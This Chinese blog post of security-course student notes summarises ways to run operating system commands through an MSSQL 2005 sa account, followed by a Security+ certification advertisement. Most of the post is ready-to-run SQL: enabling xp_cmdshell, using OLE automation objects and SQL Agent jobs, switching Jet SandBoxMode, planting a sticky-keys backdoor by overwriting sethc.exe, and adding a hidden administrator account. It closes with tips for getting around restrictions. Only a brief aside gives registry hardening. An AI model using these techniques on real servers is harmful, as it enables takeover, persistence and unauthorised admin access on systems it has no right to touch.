1. 程式人生 > >【安全牛學習筆記】MSsql2005(Sa)權限執行命令總結

【安全牛學習筆記】MSsql2005(Sa)權限執行命令總結

信息安全 sql security+

一.xp_cmdshell

EXEC master..xp_cmdshell ‘ipconfig‘

開啟xp_cmdshell:

-- To allow advanced options to be changed.

EXEC sp_configure ‘show advanced options‘, 1

GO

-- To update the currently configured value for advanced options.

RECONFIGURE

GO

-- To enable the feature.

EXEC sp_configure ‘xp_cmdshell‘, 1

GO

-- To update the currently configured value for this feature.


RECONFIGURE

GO

二.sp_oacreate

創建wscript.shell對象

use master declare @o int exec sp_oacreate ‘wscript.shell‘,@o out exec sp_oamethod @o,‘run‘,null,‘cmd /c "net user" > c:\test.tmp‘

創建scripting.filesystemobject對象

declare @o int

exec sp_oacreate ‘scripting.filesystemobject‘, @o out

exec sp_oamethod @o, ‘copyfile‘,null,‘c:\windows\explorer.exe‘ ,‘c:\windows\system32\sethc.exe‘;

declare @oo int

exec sp_oacreate ‘scripting.filesystemobject‘, @oo out exec sp_oamethod @oo, ‘copyfile‘,null,‘c:\windows\system32\sethc.exe‘ ,‘c:\windows\system32\dllcache\sethc.exe‘;

可以用utilman.exe代替sethc.exe達到同樣的效果 後門很酷嗎,呵呵

創建Shell.Application對象

declare @o int

exec sp_oacreate ‘Shell.Application‘, @o out

exec sp_oamethod @o, ‘ShellExecute‘,null, ‘cmd.exe‘,‘cmd /c net user >c:\test.txt‘,‘c:\windows\system32‘,‘‘,1;

開啟OLE Automation Procedures

sp_configure ‘show advanced options‘, 1;

GO

RECONFIGURE;

GO

sp_configure ‘Ole Automation Procedures‘, 1;

GO

RECONFIGURE;

GO
我們的對策就是把對象做一下手腳
WScript.Shell可以調用系統內核運行DOS基本命令
可以通過修改註冊表,將此組件改名,來防止危害。
HKEY_CLASSES_ROOT\WScript.Shell\
及HKEY_CLASSES_ROOT\WScript.Shell.1\
改名為其它的名字,如:改為WScript.Shell_ChangeName或WScript.Shell.1_ChangeName
自己以後調用的時候使用這個就可以正常調用此組件了
也要將clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\項目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\項目的值
同wscript.shell理、scripting.filesystemobject、Shell.Application

三.JOB

利用JOB執行命令,有一個先決條件就是開啟SQLSERVERAGENT服務,下面的語句可以開啟
exec master.dbo.xp_servicecontrol ‘start‘,‘SQLSERVERAGENT‘
use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,‘x‘ exec sp_add_job ‘x‘ exec
sp_add_jobstep null,‘x‘,null,‘1‘,‘cmdexec‘,‘cmd /c "net user>c:\test.test"‘ exec sp_add_jobserver
null,‘x‘,@@servername exec sp_start_job ‘x‘;
四.SandBoxMode(網上常說的沙盒模式)
原理:在access裏調用VBS的shell函數,以system權限執行任何命令。但是試用這個函數之前必須把註冊表裏的一個叫SandBoxmode的開關打開,
註冊表:HKEY_LOCAL_MACHINE\SoFtWare\Micris
oft\Jet\4.0\Engine\SandBoxmode.默認值為2,這個人鍵值為0表示始
終禁用SandBoxmode模式,1表示對於非Acess應用程序試用SandBoxmode模式,2表示對access應用程序使用SandBoxmode模式,3則表示完全開啟安全設置。//1或0都可以執行命令
EXEC sp_addlinkedserver ‘testsql‘,‘OLE DB Provider for Jet‘,‘Microsoft.Jet.OLEDB.4.0‘,‘c:\windows\system32\ias\ias.mdb‘
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1
EXEC master..xp_regread HKEY_LOCAL_MACHINE ,‘Software\Microsoft\Jet\4.0\engines‘,‘SandBoxMode‘
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net user test test /add")‘)
select * from openrowset(‘microsoft.jet.oledb.4.0‘,
‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net localgroup administrators test /add")‘)
下面是系統自帶的兩個mdb文件
C:\WINDOWS\system32\ias\dnary.mdb
C:\WINDOWS\system32\ias\ias.mdb
總結
上述幾種方法(仔細看看我都忘記有幾種了,哈哈。你可以發散思維,再找出來幾種)都是在默認情況下測試的,往往滲透的時候有很多限制條件,我們可以逐一克服,利用組件得到服務器信息,讀取、創建文件了等等,我們還是要對權限這個詞組有深層次的理解啊。

附註
關於*.exe c:\windows\system32\ 還有c:\windows\system32\dllcache呢
關於cmd.exe還有command.exe呢
關於net.exe還有net1.exe呢
Mdb文件不存在我們可以上傳一個啊
執行命令的組件不是只有一個哦

該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂

Security+認證為什麽是互聯網+時代最火爆的認證?


牛妹先給大家介紹一下Security+


Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。

通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。

Security+認證如此火爆的原因?

原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。

目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。

原因二: IT運維人員工作與翻身的利器。

在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。

原因三:接地氣、國際範兒、考試方便、費用適中!

CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。

在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。


本文出自 “11662938” 博客,請務必保留此出處http://11672938.blog.51cto.com/11662938/1977868

【安全牛學習筆記】MSsql2005(Sa)權限執行命令總結